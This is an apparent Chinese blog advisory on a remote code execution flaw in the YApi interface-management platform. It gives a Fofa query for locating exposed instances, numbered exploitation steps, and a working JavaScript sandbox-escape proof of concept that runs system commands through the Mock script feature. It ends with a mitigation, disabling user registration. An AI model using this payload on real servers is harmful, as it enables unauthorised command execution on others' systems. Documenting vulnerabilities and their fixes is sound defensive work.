Yapi Mock 远程代码执行漏洞

漏洞描述

YApi接口管理平台远程代码执行0day漏洞,攻击者可通过平台注册用户添加接口,设置mock脚本从而执行任意代码。鉴于该漏洞目前处于0day漏洞利用状态,强烈建议客户尽快采取缓解措施以避免受此漏洞影响

Fofa

app="YApi"

1.主界面

2.默认开启注册功能,注册新用户

3.点击加号新建项目

4.添加接口

5.选择高级Mock-》开启-》写入POC

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

6.进入预览,点击Mock地址链接

7.查看结果权限为root

解决方案

Yapi作者已经停止更新。临时修复建议禁止用户注册,具体配置参考原文链接:
https://hellosean1025.github.io/yapi/devops/index.html#禁止注册

参考链接

https://mp.weixin.qq.com/s/y_oMGPvgL9Mm4IVDb6RjxA

posted @ 2021-07-09 09:27  追得上的梦想  阅读(613)  评论(0编辑  收藏  举报